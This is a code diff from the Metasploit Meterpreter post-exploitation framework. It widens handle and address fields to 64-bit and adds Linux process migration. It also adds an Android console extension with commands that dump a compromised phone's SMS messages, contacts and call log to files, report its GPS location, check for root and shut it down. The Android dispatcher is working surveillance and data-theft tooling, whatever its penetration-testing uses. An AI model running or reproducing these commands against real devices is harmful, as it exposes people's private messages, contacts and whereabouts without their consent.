TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 -TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 -TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632 ## @@ -100,7 +100,7 @@ PROCESS_EXECUTE_FLAG_DESKTOP = (1 << 4) PROCESS_EXECUTE_FLAG_SESSION = (1 << 5) # Registry -TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 @@ -116,6 +116,7 @@ TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044 +TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045 # Environment TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100 @@ -125,12 +126,12 @@ TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102 DELETE_KEY_FLAG_RECURSIVE = (1 << 0) # Process -TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 -TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 @@ -147,16 +148,16 @@ TLV_TYPE_PROCESS_SESSION = TLV_META_TYPE_UINT | 2308 TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 -TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 -TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 -TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 @@ -189,7 +190,7 @@ TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLV_META_TYPE_STRING | 3012 # ## TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 -TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index c8343dbd43..f176d7f84c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -154,31 +154,43 @@ class UI < Rex::Post::UI def screenshot( quality=50 ) request = Packet.create_request( 'stdapi_ui_desktop_screenshot' ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality ) + # include the x64 screenshot dll if the host OS is x64 if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) - screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x64.dll' ) - screenshot_path = ::File.expand_path( screenshot_path ) + screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll') + if screenshot_path.nil? + raise RuntimeError, "screenshot.x64.dll not found", caller + end + screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| screenshot_dll += f.read( f.stat.size ) end + request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length ) end - # but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 - screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x86.dll' ) - screenshot_path = ::File.expand_path( screenshot_path ) + + # but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 + screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll') + if screenshot_path.nil? + raise RuntimeError, "screenshot.x86.dll not found", caller + end + screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| screenshot_dll += f.read( f.stat.size ) end + request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length ) + # send the request and return the jpeg image if successfull. response = client.send_request( request ) if( response.result == 0 ) return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT ) end + return nil end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 436446b53b..31a5c1ef6e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -18,6 +18,7 @@ class Webcam include Msf::Post::Common include Msf::Post::File + include Msf::Post::WebRTC def initialize(client) @client = client @@ -195,66 +196,6 @@ class Webcam end end - - # - # Connects to a video chat session as an answerer - # - # @param offerer_id [String] The offerer's ID in order to join the video chat - # @return void - # - def connect_video_chat(server, channel, offerer_id) - interface = load_interface('answerer.html') - api = load_api_code - - tmp_api = Tempfile.new('api.js') - tmp_api.binmode - tmp_api.write(api) - tmp_api.close - - interface = interface.gsub(/\=SERVER\=/, server) - interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path) - interface = interface.gsub(/\=RHOST\=/, rhost) - interface = interface.gsub(/\=CHANNEL\=/, channel) - interface = interface.gsub(/\=OFFERERID\=/, offerer_id) - - tmp_interface = Tempfile.new('answerer.html') - tmp_interface.binmode - tmp_interface.write(interface) - tmp_interface.close - - found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path) - unless found_local_browser - raise RuntimeError, "Unable to find a suitable browser to connect to the target" - end - end - - - # - # Returns the webcam interface - # - # @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html) - # @return [String] The HTML interface code - # - def load_interface(html_name) - interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name) - interface_code = '' - ::File.open(interface_path) { |f| interface_code = f.read } - interface_code - end - - - # - # Returns the webcam API - # - # @return [String] The WebRTC lib code - # - def load_api_code - js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js') - api = '' - ::File.open(js_api_path) { |f| api = f.read } - api - end - end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 751313b7cc..afd5d92f43 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -48,44 +48,47 @@ TLV_TEMP = 60000 # # TLV Specific Types # -TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 -TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 -TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 -TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 -TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 +TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 +TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 +TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 +TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 +TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 -TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 -TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 -TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 +TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 +TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 +TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 -TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 -TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 -TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 +TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 +TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 +TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 -TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 -TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 -TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 -TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 -TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 -TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55 +TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 +TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 +TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 +TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 +TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 +TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55 -TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 -TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 -TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 +TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 +TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 +TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 -TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 -TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 +TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 +TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 -TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 -TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 -TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 -TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404 -TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405 +TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 +TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 +TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 +TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 +TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404 +TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405 +TLV_TYPE_MIGRATE_BASE_ADDR = TLV_META_TYPE_UINT | 407 +TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_META_TYPE_UINT | 408 +TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409 -TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 -TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 +TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 +TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 # # Core flags @@ -251,7 +254,7 @@ class Tlv elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT) raw = [value].pack("N") elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD) - raw = [ self.htonq( value.to_i ) ].pack("Q") + raw = [ self.htonq( value.to_i ) ].pack("Q<") elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL) if (value == true) raw = [1].pack("c") @@ -312,7 +315,7 @@ class Tlv elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT) self.value = raw.unpack("NNN")[2] elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD) - self.value = raw.unpack("NNQ")[2] + self.value = raw.unpack("NNQ<")[2] self.value = self.ntohq( self.value ) elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL) self.value = raw.unpack("NNc")[2] @@ -335,7 +338,7 @@ class Tlv if( [1].pack( 's' ) == [1].pack( 'n' ) ) return value end - return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first + return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first end def ntohq( value ) diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 7521d6895a..965e7af2e4 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -96,7 +96,7 @@ module PacketDispatcher # If the first 4 bytes are "RECV", return the oldest packet from the outbound queue if req.body[0,4] == "RECV" - rpkt = send_queue.pop + rpkt = send_queue.shift resp.body = rpkt || '' begin cli.send_response(resp) @@ -355,7 +355,13 @@ module PacketDispatcher begin if ! dispatch_inbound_packet(pkt) - # Only requeue packets newer than the timeout + # Keep Packets in the receive queue until a handler is registered + # for them. Packets will live in the receive queue for up to + # PacketTimeout, after which they will be dropped. + # + # A common reason why there would not immediately be a handler for + # a received Packet is in channels, where a connection may + # open and receive data before anything has asked to read. if (::Time.now.to_i - pkt.created_at.to_i < PacketTimeout) incomplete << pkt end diff --git a/lib/rex/post/meterpreter/ui/console.rb b/lib/rex/post/meterpreter/ui/console.rb index 6fdbc8b3a6..3b2519d324 100644 --- a/lib/rex/post/meterpreter/ui/console.rb +++ b/lib/rex/post/meterpreter/ui/console.rb @@ -106,6 +106,8 @@ class Console log_error("Operation timed out.") rescue RequestError => info log_error(info.to_s) + rescue Rex::InvalidDestination => e + log_error(e.message) rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError self.client.kill rescue ::Exception => e diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb new file mode 100644 index 0000000000..a31638bc61 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -0,0 +1,383 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' +require 'msf/core/auxiliary/report' + +module Rex +module Post +module Meterpreter +module Ui + +### +# Android extension - set of commands to be executed on android devices. +# extension by Anwar Mohamed (@anwarelmakrahy) +### + +class Console::CommandDispatcher::Android + include Console::CommandDispatcher + include Msf::Auxiliary::Report + + # + # List of supported commands. + # + def commands + all = { + 'dump_sms' => 'Get sms messages', + 'dump_contacts' => 'Get contacts list', + 'geolocate' => 'Get current lat-long using geolocation', + 'dump_calllog' => 'Get call log', + 'check_root' => 'Check if device is rooted', + 'device_shutdown' => 'Shutdown device' + } + + reqs = { + 'dump_sms' => [ 'dump_sms' ], + 'dump_contacts' => [ 'dump_contacts' ], + 'geolocate' => [ 'geolocate' ], + 'dump_calllog' => [ 'dump_calllog' ], + 'check_root' => [ 'check_root' ], + 'device_shutdown' => [ 'device_shutdown'] + } + + # Ensure any requirements of the command are met + all.delete_if do |cmd, desc| + reqs[cmd].any? { |req| not client.commands.include?(req) } + end + end + + def cmd_device_shutdown(*args) + + seconds = 0 + device_shutdown_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-t' => [ false, 'Shutdown after n seconds'] + ) + + device_shutdown_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: device_shutdown [options]') + print_line('Shutdown device.') + print_line(device_shutdown_opts.usage) + return + when '-t' + seconds = val.to_i + end + } + + res = client.android.device_shutdown(seconds) + + if res + print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}") + else + print_error('Device shutdown failed') + end + end + + def cmd_dump_sms(*args) + + path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" + dump_sms_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for sms list'] + ) + + dump_sms_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: dump_sms [options]') + print_line('Get sms messages.') + print_line(dump_sms_opts.usage) + return + when '-o' + path = val + end + } + + smsList = [] + smsList = client.android.dump_sms + + if smsList.count > 0 + print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}") + begin + info = client.sys.config.sysinfo + + data = "" + data << "\n=====================\n" + data << "[+] Sms messages dump\n" + data << "=====================\n\n" + + time = Time.new + data << "Date: #{time.inspect}\n" + data << "OS: #{info['OS']}\n" + data << "Remote IP: #{client.sock.peerhost}\n" + data << "Remote Port: #{client.sock.peerport}\n\n" + + smsList.each_with_index { |a, index| + + data << "##{index.to_i + 1}\n" + + type = 'Unknown' + if a['type'] == '1' + type = 'Incoming' + elsif a['type'] == '2' + type = 'Outgoing' + end + + status = 'Unknown' + if a['status'] == '-1' + status = 'NOT_RECEIVED' + elsif a['status'] == '1' + status = 'SME_UNABLE_TO_CONFIRM' + elsif a['status'] == '0' + status = 'SUCCESS' + elsif a['status'] == '64' + status = 'MASK_PERMANENT_ERROR' + elsif a['status'] == '32' + status = 'MASK_TEMPORARY_ERROR' + elsif a['status'] == '2' + status = 'SMS_REPLACED_BY_SC' + end + + data << "Type\t: #{type}\n" + + time = a['date'].to_i / 1000 + time = Time.at(time) + + data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n" + data << "Address\t: #{a['address']}\n" + data << "Status\t: #{status}\n" + data << "Message\t: #{a['body']}\n\n" + } + + ::File.write(path, data) + print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}") + + return true + rescue + print_error("Error getting messages: #{$!}") + return false + end + else + print_status('No sms messages were found!') + return false + end + end + + + def cmd_dump_contacts(*args) + + path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" + dump_contacts_opts = Rex::Parser::Arguments.new( + + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for contacts list'] + + ) + + dump_contacts_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: dump_contacts [options]') + print_line('Get contacts list.') + print_line(dump_contacts_opts.usage) + return + when '-o' + path = val + end + } + + contactList = [] + contactList = client.android.dump_contacts + + if contactList.count > 0 + print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list") + begin + info = client.sys.config.sysinfo + + data = "" + data << "\n======================\n" + data << "[+] Contacts list dump\n" + data << "======================\n\n" + + time = Time.new + data << "Date: #{time.inspect}\n" + data << "OS: #{info['OS']}\n" + data << "Remote IP: #{client.sock.peerhost}\n" + data << "Remote Port: #{client.sock.peerport}\n\n" + + contactList.each_with_index { |c, index| + + data << "##{index.to_i + 1}\n" + data << "Name\t: #{c['name']}\n" + + if c['number'].count > 0 + (c['number']).each { |n| + data << "Number\t: #{n}\n" + } + end + + if c['email'].count > 0 + (c['email']).each { |n| + data << "Email\t: #{n}\n" + } + end + + data << "\n" + } + + ::File.write(path, data) + print_status("Contacts list saved to: #{path}") + + return true + rescue + print_error("Error getting contacts list: #{$!}") + return false + end + else + print_status('No contacts were found!') + return false + end + end + + def cmd_geolocate(*args) + + generate_map = false + geolocate_opts = Rex::Parser::Arguments.new( + + '-h' => [ false, 'Help Banner' ], + '-g' => [ false, 'Generate map using google-maps'] + + ) + + geolocate_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: geolocate [options]') + print_line('Get current location using geolocation.') + print_line(geolocate_opts.usage) + return + when '-g' + generate_map = true + end + } + + geo = client.android.geolocate + + print_status('Current Location:') + print_line("\tLatitude: #{geo[0]['lat']}") + print_line("\tLongitude: #{geo[0]['long']}\n") + print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n") + + if generate_map + link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}" + print_status("Generated map on google-maps:") + print_status(link) + Rex::Compat.open_browser(link) + end + + end + + def cmd_dump_calllog(*args) + + path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" + dump_calllog_opts = Rex::Parser::Arguments.new( + + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for call log'] + + ) + + dump_calllog_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: dump_calllog [options]') + print_line('Get call log.') + print_line(dump_calllog_opts.usage) + return + when '-o' + path = val + end + } + + log = client.android.dump_calllog + + if log.count > 0 + print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}") + begin + info = client.sys.config.sysinfo + + data = "" + data << "\n=================\n" + data << "[+] Call log dump\n" + data << "=================\n\n" + + time = Time.new + data << "Date: #{time.inspect}\n" + data << "OS: #{info['OS']}\n" + data << "Remote IP: #{client.sock.peerhost}\n" + data << "Remote Port: #{client.sock.peerport}\n\n" + + log.each_with_index { |a, index| + + data << "##{index.to_i + 1}\n" + + data << "Number\t: #{a['number']}\n" + data << "Name\t: #{a['name']}\n" + data << "Date\t: #{a['date']}\n" + data << "Type\t: #{a['type']}\n" + data << "Duration: #{a['duration']}\n\n" + } + + ::File.write(path, data) + print_status("Call log saved to #{path}") + + return true + rescue + print_error("Error getting call log: #{$!}") + return false + end + else + print_status('No call log entries were found!') + return false + end + end + + + def cmd_check_root(*args) + + check_root_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + check_root_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: check_root [options]') + print_line('Check if device is rooted.') + print_line(check_root_opts.usage) + return + end + } + + is_rooted = client.android.check_root + + if is_rooted + print_good('Device is rooted') + elsif + print_status('Device is not rooted') + end + end + + # + # Name for this dispatcher + # + def name + 'Android' + end + +end + +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 6766ce7e7f..b11d88f13e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'set' require 'rex/post/meterpreter' require 'rex/parser/arguments' @@ -68,7 +69,7 @@ class Console::CommandDispatcher::Core # whatever reason it is not adding core_migrate to its list of commands. # Use a dumb platform til it gets sorted. #if client.commands.include? "core_migrate" - if client.platform =~ /win/ + if client.platform =~ /win/ || client.platform =~ /linux/ c["migrate"] = "Migrate the server to another process" end @@ -314,11 +315,17 @@ class Console::CommandDispatcher::Core print_status("Starting IRB shell") print_status("The 'client' variable holds the meterpreter client\n") + session = client + framework = client.framework Rex::Ui::Text::IrbShell.new(binding).run end def cmd_migrate_help - print_line "Usage: migrate <pid>" + if client.platform =~ /linux/ + print_line "Usage: migrate <pid> [writable_path]" + else + print_line "Usage: migrate <pid>" + end print_line print_line "Migrates the server instance to another process." print_line "NOTE: Any open channels or other dynamic state will be lost." @@ -328,7 +335,8 @@ class Console::CommandDispatcher::Core # # Migrates the server to the supplied process identifier. # - # @param args [Array<String>] Commandline arguments, only -h or a pid + # @param args [Array<String>] Commandline arguments, -h or a pid. On linux + # platforms a path for the unix domain socket used for IPC. # @return [void] def cmd_migrate(*args) if ( args.length == 0 or args.include?("-h") ) @@ -342,6 +350,10 @@ class Console::CommandDispatcher::Core return end + if client.platform =~ /linux/ + writable_dir = (args.length >= 2) ? args[1] : nil + end + begin server = client.sys.process.open rescue TimeoutError => e @@ -382,7 +394,11 @@ class Console::CommandDispatcher::Core server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. - client.core.migrate(pid) + if client.platform =~ /linux/ + client.core.migrate(pid, writable_dir) + else + client.core.migrate(pid) + end print_status("Migration completed successfully.") @@ -413,20 +429,23 @@ class Console::CommandDispatcher::Core @@load_opts.parse(args) { |opt, idx, val| case opt - when "-l" - exts = [] - path = ::File.join(Msf::Config.data_directory, 'meterpreter') + when "-l" + exts = SortedSet.new + msf_path = MeterpreterBinaries.metasploit_data_dir + gem_path = MeterpreterBinaries.local_dir + [msf_path, gem_path].each do |path| ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) - exts.push($1) + exts.add($1) end } - print(exts.sort.join("\n") + "\n") + end + print(exts.to_a.join("\n") + "\n") - return true - when "-h" - cmd_load_help - return true + return true + when "-h" + cmd_load_help + return true end } @@ -459,16 +478,19 @@ class Console::CommandDispatcher::Core end def cmd_load_tabs(str, words) - tabs = [] - path = ::File.join(Msf::Config.data_directory, 'meterpreter') + tabs = SortedSet.new + msf_path = MeterpreterBinaries.metasploit_data_dir + gem_path = MeterpreterBinaries.local_dir + [msf_path, gem_path].each do |path| ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) if (not extensions.include?($1)) - tabs.push($1) + tabs.add($1) end end } - return tabs + end + return tabs.to_a end def cmd_use(*args) @@ -728,10 +750,10 @@ class Console::CommandDispatcher::Core @@write_opts.parse(args) { |opt, idx, val| case opt - when "-f" - src_file = val - else - cid = val.to_i + when "-f" + src_file = val + else + cid = val.to_i end } diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb index 40df85f5f8..326c837d3f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb @@ -17,6 +17,7 @@ class Console::CommandDispatcher::Extapi require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/service' require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard' require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi' + require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi' Klass = Console::CommandDispatcher::Extapi @@ -25,7 +26,8 @@ class Console::CommandDispatcher::Extapi Klass::Window, Klass::Service, Klass::Clipboard, - Klass::Adsi + Klass::Adsi, + Klass::Wmi ] include Console::CommandDispatcher diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index a8659650e3..dfa41fb5fc 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -176,7 +176,7 @@ class Console::CommandDispatcher::Extapi::Adsi ) objects[:results].each do |c| - table << c + table << to_table_row(c) end print_line @@ -189,6 +189,48 @@ class Console::CommandDispatcher::Extapi::Adsi return true end +protected + + # + # Convert an ADSI result row to a table row so that it can + # be rendered to screen appropriately. + # + # @param result [Array[Hash]] Array of type/value pairs. + # + # @return [Array[String]] Renderable view of the value. + # + def to_table_row(result) + values = [] + + result.each do |v| + case v[:type] + when :string, :number, :bool + values << v[:value].to_s + when :raw + # for UI level stuff, rendering raw as hex is really the only option + values << Rex::Text.to_hex(v[:value], '') + when :array + val = 